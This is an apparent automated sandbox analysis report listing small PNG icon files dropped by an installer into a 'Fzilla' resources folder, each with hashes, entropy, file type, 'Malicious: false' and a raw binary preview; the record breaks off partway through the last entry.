Preview:	.PNG........IHDR..............w=....XIDATx.b ...37?@...dG....m[c[k..<.q..mO.=.Al.\k.m..;6.9U.....e..X.\|.....r.......r.........=.z#4..F.z.f.r.....F..V..N..j-f.T..@X.b...a..X.e!..c.&p..H^0.#..3.`....i)..c.......].E..Y.y..F.);/Xz}..?...!.....S..p.N!...3T.....f...P6..^..Z......T_.fN..?...e..i.y.0o...."......$...^.!..6.....v..._..$. ..Gpf>LS......v.?...p..h\.OB.0..8./.^?f.6..Q]...<.....x.'&C.Y...8a..."......3..2q...ft.......f..5..Y...V,ot.5...C.j..7G~gc'.....^.G...O.......D..(bE}...+........,.;......w....@Q.@uu5dYF}..]*.....x>...]......W@b.s.^.P.z......8j.%......0Q.0\[.u..Q.e.....=..q3.n....}N.v...G..`...i.Pg.#. ..=..W..y......5..:7.."....E.....r.:S..y.p..{.a..W.qF5.Y#~..F..h....%.Wc}..K.O.E..8hE8...%.`Q..=.t.?...{..79......@..X...Cl\|..a.#.....F..!VV`Ar.D......a....]`.3..+UV..l.S...l....[B....."[...m8.e.2..9hI.v......y.....h>...........dH.....-....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-GR016.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	376
Entropy (8bit):	7.2672979681476715
Encrypted:	false
SSDEEP:	6:6v/lhPu+qx2wNLHE5UAD6nvgLA8WJCfxCHf4C1Dm6023OhHTwvuF2SmOtM0IiEdr:6v/7mPzTG6vyWJ7/4Km6URTw2FKOq359
MD5:	EE6C02D4B8613DEA4746D8EBB1925488
SHA1:	D219832F847C56E5512FFB2801F5F4FDF4D63229
SHA-256:	244C74E11F248FE30E324BFBDCF1EA36C8FA9C7A185940E83C7EB3F8927CCB32
SHA-512:	7ECF0ED9218C3EAAE14BFC4C7FC11CF82A6DC9BEB8316F1955C167FAC2836623F4B44A2BA272DBC6EF4FAB347E56726D6E02C44D1A6F31156C2C7E5B242B1769
Malicious:	false
Preview:	.PNG........IHDR.............J~.s...?IDAT8..AN.@..a.^.Sx4..A.)L(@ii.......D.HL.P......1..t..._2o.&...1s........[.V..Cl,..Y\s.......:.sF.chl$.b...A....'.N)``4.A...\|$..@.~..%.x......>%t.D....!.....q.%U.I.......t....v.p..gJ.`...iQGM....$2".6U....0Z.../{...?..QV.>....X..K....>pq.. ......p......c^..za.......G:<,t..9.N.D.......0e.lW.............n.k.-.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-GR9AE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	493
Entropy (8bit):	7.469694044352245
Encrypted:	false
SSDEEP:	12:6v/7ZoM7fc/kSWRwRPk8tQxAIT7HggQ5rwjmpDMsr9:K7E/kZRwmuQWMHRQ5MjI4c
MD5:	FC529382E4849ECCF70165A5D70E2F2B
SHA1:	1E06AE9A571EA679DD0BD2201C0A1EF0D33FCF58
SHA-256:	589CA772823495E7348CA5EA31E26BC1A0E32696AE6299815F7D1124E7235DC3
SHA-512:	428540D9551A182F6B3CC32427F0AF27E6D0BA89EF885624A23FF6B617995559CFF2E48B720DE080791883F6A1CC12495AD71ECAE94CD9EE5DB5CC30A4B10A7C
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.b..`..X........i..m.6.r3...ek.].g._n.6.=.w..w..w:...S.jsz.LY.0..i........K.,.1..9...........`(wd.,......46b..U......O.....X..."b...k_.U......p........ ..Zr.O&.U..s.o..CIK.j..-....m..-!......2p..x..L......M ....#C.../Y....PdC.D(.....i.o`.....;g.{~.rG..O....{..H.X.=.b...$.M.p...H?Hm..-.....f1.+...@...(....L$-b.V....uk.......\|..Q......W...M....}Pd*..U......6@.3ECo$r.d.N.2.......>P...Y....9.bw...frzo&..f.n.M.g........n..F..R....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-HKUCQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	438
Entropy (8bit):	7.34162055469022
Encrypted:	false
SSDEEP:	12:6v/7tdmnCrkEVzCO9lEFGWqecq4tnSOptWN9Kq:sonh8zF9S03sOq
MD5:	738A1CC5FB4CA61551C50378F8F300CA
SHA1:	E4F221318D0B45EA17296E70F436B78D847EFAAA
SHA-256:	38B7CDC9E1C5F771708DBD05DC49B83C852432373DDF663C4A4F68493BA7439E
SHA-512:	E43023739BC140B40FF5FCF91821F88B13D74CB7CA58B9AF1079EF53216F5547816ACEC3084E6658DE296ED06E011191172C852EA5F031AA7CCA114E9054AD0C
Malicious:	false
Preview:	.PNG........IHDR..............w=....}IDATx...C.\......el.m.ms..mk.;....m.}.....[..[t.EY.z..c........."..S...B7-..B_S...Bg......@....M.K..6...68.@..;......%f!...\|.wxf..k..N]...........<..[....m..b3p$Q..Q(A.j\|`60...l.]...W..kU.3.G.......,"............S.g.yQc..Wx..U..B...Oi........e...]~LE...k..j....Vx..:.(3.Y\|\|..1...r......~.....$0.^..zL..\|...{zL;...HE.L-......!X`...!..C...Z..a(0.>.e.]...J.%...K.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-JD4RB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	7.790902022199737
Encrypted:	false
SSDEEP:	24:oEyeBRdfOZSpUfpRwtrFu0snbOkcb6trMMJ57wACfE8InqSce36bP:oEpbfOZSpUurFHMbbqoMIZCf/Iqleqb
MD5:	BC3780FC5B18962FEB8B65DCC502947F
SHA1:	92A488AA58EEC52BE93BB2CBD922366552F5DBA1
SHA-256:	B323AC62524DE6E0762AFA36232C3358979E991BCD1A94148F49CABAA6A6E9A2
SHA-512:	1AC34F9BCCC48A37E83BD523F0851AABF9A0EC802DC1431C7CF08C90051E6A21D4CB650D3683CBD3EE6B43CC98D6ACB1CAF2EF79F601933CC54649998809779D
Malicious:	false
Preview:	.PNG........IHDR..............w=....;IDATx.....,......S..2.BT.m.m....Z\.ksv./...1U.q..}.-;....}....mKK......g.2.Q.........2..dCR.-.....vohh(Z,...,.\..0H..kU>...pP__..t.F..V...1G ....v..A..f#...J.0M.r.L.TZ..%y'W...RWW.2.,:h..d2I0.T....jE..u......D".".Z..Y"...r..L...............&u...!...:..D.D<...(P.T.DRe...F=..T....b.........:;;.D.....]...c..1J)...........&\|.....p..,8..t?v...IE..g.....>cp...so.\|...H.L....W...2.....5=...Y$..s..`...cQ.G...=...L..`......e....kM.........c~...a@\|...@>@...E.......2...=.7}./....%./@.....y..."..`(....^..t..u .B..e...J.b......~$.7..G.....+...U.........C.(+..T..LNNRSS.&...m%....0.T...\.9\|,f.N...V.>..v...3..R....0>>......^.*...N.[..;...1.xq.....x.Q0..;.....`.TY.....H...._.U.;..b6..\|JV.S.&. ..1...?a. ..@!...k......k....g..i.....a-.lve"]......aB..9..;.@.$.......Q....t.tUD.bi.>q..{.O.......T...].ER&..`.dW.......{U.%.UQ........<.SZw.{.....?.\|...s.3..W...........1:F..z^.M..jR.........w&.=x...<&7.........'T..n.z.2%u.lZ.r.LZ=/........

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-JVICF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	736
Entropy (8bit):	7.553489674646903
Encrypted:	false
SSDEEP:	12:6v/73eWx2g7/H3y+KSIBFCARZgowcWu01ZAyaLUqLbnOGwSmGvXc:+mg7fxK5CATucWjZAyaL17HwShPc
MD5:	301131E41538586B6B50B63C3F8C2B99
SHA1:	F79F1AA6B45EBDA70674C9BAF3A81AFF873AA3D9
SHA-256:	BDF75435E4642BA4CA958269ED9DD163F4DE4B5F09D04B667B6B090E329FF450
SHA-512:	6C6B9E22A1EF5B69B8FF835C91308FE1ACA0E6B4089F9F2D382E158D810201946BB5D1D9EA63850AE489AB788C1061A23A4BCBA38073EAB3CC6A73657C28BF71
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.b.....4..J9..r.at..j.5.:.....Am>..m.mstV..}.z'k<.....?...k....pF.........c......\xS.......y.]..V,.g.+..........{3.:R..jR6n..m..K.LII....7--.QRR.HMM}....m[.la...J....B.Y.~.........u.....LGRR.C2^..`.."""..........7. ]......_p..y.{.B.}/..R.^..8]PP@]].555....Fgg.z^[[K{{;......9+222HLL..U...>-a.........]...9.....a..b.q.,K...KLL.b.z...`..@..l..,..l.i.K.4..`.Eb.........0f0.9,.V..9>J..:........{...i(..J.......`...6....&...).Ca.....P..H.....z.....`~...A;2.M....A..!.......V...yh\|..a.....1...n.`..O.74GSE.2....(}PA.=P.(0JB="..}h....R]D^."]$.q......}.{?..T.s...b[s(.....yb..=.9K.EM....^0M...s.z.[a....T....srr...^6..!.I^...Q..J-...?'..j...0...h.4........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-KB204.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.6980039972192005
Encrypted:	false
SSDEEP:	24:1JFTCWrfR6ZwuHHP6SS9n/UWizCaSLXSFRQz:jFTfR6ZbnPnyn/S/O
MD5:	EE92146BF93ECB0A94122CD3C955E30D
SHA1:	D099EDB6DE7A773E7A1824B53337381E2A9A9009
SHA-256:	0BE651BA53E93E0D445E1B04823546140865498D506B90CAF039B2DCF9EDE48D
SHA-512:	E226E07183CFFFAB750FEBDE3632AA11D91E3C313905D305C7FC9DC5BE75A6889C4B2B49D288BD7F1F0F0209A22CA4D37CE42C7E6AEBA9FA04F1EB741BEADF8D
Malicious:	false
Preview:	.PNG........IHDR..............w=....pIDATx...S.dM....m...m.....=..m..'.F...9s..uWU..2...I>i0.N.t..z.......\|+.B.,..Z...%..o...G...D.J...4477....555...u0.566.n.C.P.R".I...>>.7n. ....P..HMMEee%..................\.....G.W@@qq1.........#.......(++C[[...`.Zq..%h4.Hc./ .=.JJJ..j..u........QQQ.X,...`pvW.G.ST^^...&.r..WEUUU....<..67..."SqqqHNN..[X@...!}C...-.A8.>}.@zEc...Xt..G...7.d`N....dr..l.u..10....3f.=..A.w........ep....lPO<...}.YP\.....v..G.y...s.B....E...{xDp`..]@UTT..o...]).o..#))........V...Y...q .....]...{...Y.j..w....s...b.<.8.....]+`JD..k.:..4jG.-.6A.T........Kq.S../v...........^.7.. ....`.5K.+......M...HHH..... ..,.+....;3..x.=...t..;..&M............{...g.}.#.......K.....OW}y.5..=....?4.Q.Q.p'..@....^\....?..D(wt.f....%...._..5.B...0t..X.-....Nf...0....f`PN@...I.yr.._....==...w....`ALL.w&k.&..b.....V\|..._...u?. ......x.+.J.T..qR.0M..].....?"m.#z.....f.y.o.?..1'......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-NA5CO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	525
Entropy (8bit):	7.471136473005463
Encrypted:	false
SSDEEP:	12:6v/74V47VjICo/Wr2tNI8OiDcfk1SdLAPKV/S6Ghfn3zh:B47VECo/WitNOiWk1S9FVq5
MD5:	434F517BA9651744F02E323FB532F756
SHA1:	C655874E19932B781062D05C61CD4E786817D5A8
SHA-256:	82759E6A82FE1E82BDD3722CD74A1F7ACD470061DB2AB53359A18598C0CAC5BE
SHA-512:	9C381CF53018525BCB17763F6D278D8A8FB804FA07F81A69C17B0DAE1FE694A18C68B8C5F6C47E22899E38C0B732790FC37416D950D5CA3981FF829CBA2DE5E0
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx......M.E..Gm.m.m.m.m...[#.\|aO.w........F.9+.K...... .. e..h&H.o...s...b`. ..[..4...v.k#N.g..j.].2.2..h..F....u.........c. V.]f..&....{{.S..w.&..5.k.`..uN_...l.~.......1n..FL.]e6....!.......b>&.A..o.M.Sm\|....14..3.4....I.8...Z6sM.j..g..\|...p4B.kk.Y..{.`,.;zx..1/"..$.q.t..w..N...h...+...HX.?..t.....V..:x.....:..5.....gB`.X..x.2...`.....Z....>.2...jJ4.d....F..K=....zh..i.G:\|. u.n...i94..?..2.\.!.....c....?F...N^.2@\|..j......i.......~L.>.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-O501V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	299
Entropy (8bit):	7.104393007839961
Encrypted:	false
SSDEEP:	6:6v/lhPZEhyYKUgxleGDjRbPFEvPreShMjVfxXnAMBZlVp:6v/7Cyv/oGDlb+vPreSk1xXAMBZ1
MD5:	6EB5C63C607C3DEADF6CF144B3F82402
SHA1:	9EE2F3A11E1FA83C671BA9556584033580873DD5
SHA-256:	106335897D934523FACB371122C197FE6155CF780DE1B3CB4A5A4058E7B34D74
SHA-512:	5640CEF022F2F2570BFCF76408F1478AD61D43F6B5207451D1673078893A1392C7D6EC1A4901EDE38527753DB74D3904547D93D7BE2FADA04DF7F0BF685B581A
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.b......i... ^.....:..0.g..%.G..9.5,.m.md.u.q.....?..9>.s.b..Z.$@... U..kQ.".........;.U.p.(L..'....mK8....PB&..z:*....u)........X...w.}.?....p...-c\|I.8...ip.....E..=.....l.#O(F4:Q.d..c.z.o...2@.o.-....=..+....".I..h.C....1.$.gJ.q....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-R8KSM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.654297878181793
Encrypted:	false
SSDEEP:	12:6v/7yylkM/HHJhGe9RumEQc8CudE9ZBfV2NkQWNEL8FvkhmCyJ0pm1qWz3mJc:pyugnJhGe9RZ5cTBBfkCkhmCa0IxqC
MD5:	C17844F31C2C465D9654EB678B8339EB
SHA1:	8C52453717F57735C758EF78B4A07396C9AA24E1
SHA-256:	7D194E1E2F2C08124858BE9AD9DCAAFBE713EDE2243488308B506C2510FD130E
SHA-512:	7BEDE7A65B4F0F913504D45392812904574A4EA1FCB12309260D5BA4BA4F186457AF1ACA7632D7AE78610C6AE0AE73508AEB7446BB7ED83D3BDF8C661939B5A0
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.b.-.....)9..v.`.......m.6W.m{.c.mb[.~....U-.u.Q..-...,X:..(..R.%8Z....ZI-]{k...6..8...mY.!...X.U....u1.-.w...4ql....;.VU...N...Vt].1....._;...^,..XWY`.Lu.g5a...{....^..ev...6.E.....j....C....}h.B.......]..F.1.C3.g.s]...6@c.........{....w..<s.fZ..........S...np@.....<..v.#.$1L.fq...$.}(...m..<.......-y...Q}.4EBW.2.c...1....p..p.pr....im......).O.-Fap.T%8..{...i8{;j..s..uYJ...x.$.k..Y....:...#.P..V.%..&..??......c+pX....y..l..B!.....f...(.t....!>< ..."6s...^..\|..SWH.....kx.....(;./..)..\p.d.v85.5{l.. .....#kJq.`...%H.[..y.v.......q....i\.$..].....E.....2x.-QM.1.....'.....\|.3..N,.....G...W.*....H...Y.(..;.@.gX.4....%...........'u..m..WW..5u......g...a\|ZFF......F.....'l.30.(....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-RBB26.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	268
Entropy (8bit):	6.71744573347677
Encrypted:	false
SSDEEP:	6:6v/lhPZ6+coh6aOXh8BdbxSf5ByR+gFeLrwqpopdTTp:6v/7Q+fh6BR8bbO5IRKLbpIdT9
MD5:	BA74EF478B761BD4B154DEFFDF9265C6
SHA1:	61BCFE964028E73BE90FF3A8C8581E21672CA6F9
SHA-256:	CDF55174EE7CB1AC6AB4F005B5FFCAB5F7A02CAAF1B12DBB1F6480FC70380644
SHA-512:	2EEE1FA9663970F24E4C461EAF62B0BA64E85292498D61633C151F45856426FD16BAAF7EDAE296317E27727988F9CFD9D241945FE158C736F626E0E5481FC588
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.c.A`....Z.q......TL../+-M...w..!..@....A..@.....0u.N..........A-h..%A-x.f.. ^...Z.....,..Y........-@.R.Y..sig..?....X.....>......1#....4.j.k .'%.MC*fA......._.b.R... ...I@...3..Q@.........Q0...A8vA]h.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-RIA53.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	255
Entropy (8bit):	6.786152246961665
Encrypted:	false
SSDEEP:	6:6v/lhPZ4ybSuLQ6q/SPmBpgQSqXxaop/jIsup:6v/7HSuL2AmBpLnvc
MD5:	6BB536F8851BB9B09DC40C25E2CE937A
SHA1:	DFCEFC70714787DD67FE4A2928CABEE5B742A687
SHA-256:	324D6C797069BA43B0833CE66BF917CA7F91B8092EFB4A4E7CBDEF5BEBDE493A
SHA-512:	5FFDB940A3F939E868F066E06C28C96D7F902F6DE56325690EFA37BD34AAA2D6987FA07485E71BCC7CEC23E4DB0A220337D535F395F3E605336E8C846B1B0209
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.c....G..x.8..K....Y.i.......H.(.KR.p...x.6%.s..K$..q ..F.;...Z..dP'..Z$..r-..d...\$.\...h....s`.kE....I....@lHM.o...xj.>....@.M...5..-...$.7...1 ..bg ...%.eh.m...9h......Y N._...V ........ ..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-ST63T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	731
Entropy (8bit):	7.638960413963767
Encrypted:	false
SSDEEP:	12:6v/7ohMCUkTXgl6l6iGS96bXKvIDUNqPB2/F3TKsG3wMQXhqt84+DXBIA/0R1:Ny17le6bXYIDUuw9TKsDMQxE+DOw0R1
MD5:	41CCDFDA66425EF91E665ECF9612D032
SHA1:	FA2E2B75C9DA1EDEE08F64FDDC040568ADFDCCF8
SHA-256:	C42D3E5C5D35BE83C587D86F81826A75D8A3CEAC1A874917A710F0A2331EC739
SHA-512:	C928446AA740CEC622C675EF92C78087511C189AB0CF2D5BE914BF7E668D5C5203B845E927EDDF7E3AD2D055DABBCB1EA98301F16F5EBC32FD140BEF58DEEDA8
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.b.....4..N9.w.Q.x...+TQ....m....m.q.u&k3.$...=.g.H(..X.w...../.{.g......8.q..Q..T8&....9.kNj..m.w..S.m..;z...!R...7.........wDEE....?...}4<<..;w..n.._..<y.E..l......aaa[.V....<../i................o9}.4.zE.y...fN}LLL.......tJKK)...........M...(,.o...R__OII...]QC"""^/i...7.?....J{.XM$''....\|I........&.qs.w.;9......h........C.m..4IJJ"88......x....I?."./.F.CJ.'..C#.#..........W..p&.+....-. .....J.?.f....6...J...#...P..O.4....j)h..o..C^..;a00l...h2d...Q.w..w.(...?D.....^w..R....0n..^&.i.O..7.....Kbp%.~...b.....4L.@.....[.Q.......[.......%..0..89.`Y.N...;zU...Ocf.5..Y.$....i.f&.......me.=K......K.....O..9.h./i ...<z..X.".J4~.h-.....L.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-U8JBD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	216
Entropy (8bit):	6.680528840864718
Encrypted:	false
SSDEEP:	6:6v/lhPXiyTs1JJMxR6zpFd/ziHB8toxs95p:6v/7qZJM+zTd/ziHB8toxs93
MD5:	F5A5AC8F87E4E6A8D1DC6B7583D2614A
SHA1:	017B80B5DB7D5A5255BF308D49D22FCB9738D9B8
SHA-256:	6DBDCA9A1B77F3810634D2652C38A6327C49FF78AFD346B0B61B671B70C96AED
SHA-512:	D9381B0794082CA12170F39EE4564E7C4A34CC06B046BB5F7B8BC7FF0AB925EA999CF0EA216F292A880AFF07B1963C6C2DA256FB08B5F7AE22F7C5EB345C684F
Malicious:	false
Preview:	.PNG........IHDR.............J~.s....IDATx.c`..4.tA..y(pUi7n..J.c..qj........:.!.1...._......._.)...B..zx=.....f..+.....0.K..^..I.S..K]&2>2.3~......I...................@..HKW...J9H.bX*.0......q...Q.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\is-UDLUG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	555
Entropy (8bit):	7.41303447238569
Encrypted:	false
SSDEEP:	12:6v/7mzTbl/n7xHvl1+csiwPR4Ck1WDnaQz3Xe8Qh29DQAd:tzT5hG4f1W7nz3XXqa
MD5:	37191ACBD970B504DB017FF511DC33EB
SHA1:	5D92208822B4F876FF70EBB2C4EBFAD0CA9C7489
SHA-256:	16CF7F6C392A2FB7927B1EBC01E7A3AF458BDF6C3DC849604A4EC805C4D4A582
SHA-512:	926A92E50E1F6C4948094DED4492B13585DC3F49F2274B871FD61E21AD4456F27AA0BCA72ED4D1D3D67DD307AA60FD137F63F41C99BCA873BB95E8280E8BD8D1
Malicious:	false
Preview:	.PNG........IHDR.............J~.s....IDATx...=..i......wfgg.[.#.....K..\.Q($BD!Q)..Q.....N..(..h% [..... .H..1..7;..R2.........c....m...q.AwM.l.W.m........KP...Caw.}.../... ...Vjt}]...n.....'C..Q...B.98......q...).-...Y....l~6.../{.\|.o+.jE........C.....0/..pj......@XH..\O.PR..P..7dH..a0/..t..D%.P.Q.%./..h.u.T@.*..`.L.....7.U.E...g..3..h.Q....6..!...V.)..Y/.u.......:.W@..d....3...[.../A\......SVQU.....z..Z ..0lT._.....o.c.E7TA..z.IM}.%]..c~.\.D.\.7....!7+8..."@O.AS....f.LO...@>..X$.>z$.A.G.Q.D..0>..!.AI...R.....A..z...."3E....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\leds.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.731346539563078
Encrypted:	false
SSDEEP:	24:BhAfp113zmjSU1gX0+FzqKIHmhjCxNTpbvSs1GngqFW:BeDqjAkymZHmQxNRSs1Gn9W
MD5:	F447322C7F61EFD1034741AEB8608D51
SHA1:	26B89C717EAA0C44A608746A350E912713B75D05
SHA-256:	9B5D502A15760B6E6E18853C422CD88D4B0A76B977FA5E34CC6F747BF247E357
SHA-512:	A94174533ABE7D93E1F61565C970EF6FFB2A018082846A7914E4473241A2BFFFA835E471295DA2042BFFDE2A24B819403515A91D1DFD2A010E8EFCC588AEB078
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx.....\Y.....c...N.k...k..l...k..~.....EiO..<.......n...wk.$...r..E.?s$......]C..4d....y.O[B...x....(\|.e0.f.....H.....)....dpPyIt$].o!@...r..&....W...5.)#4.N.#\.8..4.k. ...0.%.{t......d.;.-..l..X` .......kb....j....^.1....`_......T..A...:.@$ H..1.D...=...."...t.Hg.@j..$... ......!!J...s.);.....c...(.G!...J@n..'..&....T.n....-.9,...I.....a...L`..A.....DEQ.....a...>....m0\|%...V..u.Z..:\..x.y.k....9......5[..}x.....oh..z.....9...............V.).....e%.V,+.......O(...?3.."\|..Y::;.p...\|.m..l.-.......s{]]......Z...gFll.\|...4vw...K..........{.SzA..F.z.I...PH30.Rgp..FnnH..5.;.......j..Gz2B.....>..m20(....d ...q...1vW.........y.n...V...A..z.Xv...$..4;.I..$+.....\|x.h..4zg#...F..........Mx.Z...s...c.1.MFl...7i...1pY...h.V..vu.q................. !{.#..HG...Mf..H)y}.I/Z...v!.$.._........2.e..D......}PJ~..200..6.xG.I...>_:..0.4Bw.!..4...........&xw...a. .W9..U...l=.>V...!x`2*CgP..4.-.....?.........IEND

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.655347637725677
Encrypted:	false
SSDEEP:	24:MxRQ2LvlfQpouveUt7tWeGobpNvsILWwNOte8Ui:Mx22JIouv6obHzNOfUi
MD5:	F93B941291F95BBECAB8C1E53F5725CA
SHA1:	89A801FC43BE0C01ACAFCF2F82C17C2A63A3FE43
SHA-256:	3953CCC93FA55F963A8CF997B3A4DA46590EDC7BC740D5075BD5E0D18681F7C5
SHA-512:	EEC02BF8019D122EA784827EB763487A0A3715C30A941DEA1A3753B86493043B6035D71EC935C41C0F68E2DB83B92BC853919B32E9B3E45954D2AB61ACFDCD96
Malicious:	false
Preview:	.PNG........IHDR..............w=.....IDATx...lG.G.6.,.. ..m;..nl[..=.m....b.g.W.>}.=.m....._)U..jTJ5...c....L.... $m< .S.0t.i..B...v...Yppp...........S!!!.K.aaa.r.)....^^^.....9099.;))),55.(..6..lxxx.........<..k......................#11....H ..v.]C\|\|<.!.....>@w...w.y..;v.....>OII._V .S......R]].......V:::.........6.....~......HHH...f.M....l\..iY...jhh.`aa.o...........v.W...0...< ?.[:9........s\|.,.....N..x.(hl.`i...;.O...g....X'..]....~\|.....~.!z...(h......L(9.j.......g....x.}..s..1..y..<..A...=........Z.$..\|......w..&.UB.-d.x..?..m....$.E=@.{O320.@ff.z..z(<.J......_L..v"...=V.{-...~.};.326..YO.........`..t}.=.0.Aq.g...b...(....(L&.?...^....Q^^.z.....X..K...4.....'........S..rssW..$==]7U....[Hee........ltH.{Y.lT?.~d....n..'....*?....H.n.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	344
Entropy (8bit):	7.2060897285546845
Encrypted:	false
SSDEEP:	6:6v/lhP9FXrH1fld51FPLBBz5v4bnEO+FlGaFnlBOaY3p:6v/7DdP3FPndvKnEO+FblB1i
MD5:	469F9922AB8B118250B9353291D3C6ED
SHA1:	831C64A6CBA3D7C5EF8DEA6BC9236022F0CF0217
SHA-256:	A6D3CA324CCD9A7CDE09F2F1FE652B4BCA2A7BB3572F746A83E03253B99FD6CA
SHA-512:	134F14B5FEF2CB4CF2F125D450F3983DCD4CCF87F5373EE785785DDF70C455D652A062658A68A8F2D5F71A11097B009B961E5C46376EF0F72488E49B6CE59FB7
Malicious:	false
Preview:	.PNG........IHDR.............J~.s....IDATx...?K.1...Tp.t.K././.. .....7N...I...'.pPD.[.w..Pp....I.....<.J8..e..,y.....{h.........4!\|$....pc~z.9.\F.R .S..F....q:.......m.lp.(......S8N.DA...;B...R...L.VP{Y.)z..3...Q.eC&.o_..5...3&.. h.!.2&...&.......$..c.......4....U....v.......!.v.b.).. ;2o...&.&./.;.j/Zb....sK...$+9....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\24x24\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	555
Entropy (8bit):	7.41303447238569
Encrypted:	false
SSDEEP:	12:6v/7mzTbl/n7xHvl1+csiwPR4Ck1WDnaQz3Xe8Qh29DQAd:tzT5hG4f1W7nz3XXqa
MD5:	37191ACBD970B504DB017FF511DC33EB
SHA1:	5D92208822B4F876FF70EBB2C4EBFAD0CA9C7489
SHA-256:	16CF7F6C392A2FB7927B1EBC01E7A3AF458BDF6C3DC849604A4EC805C4D4A582
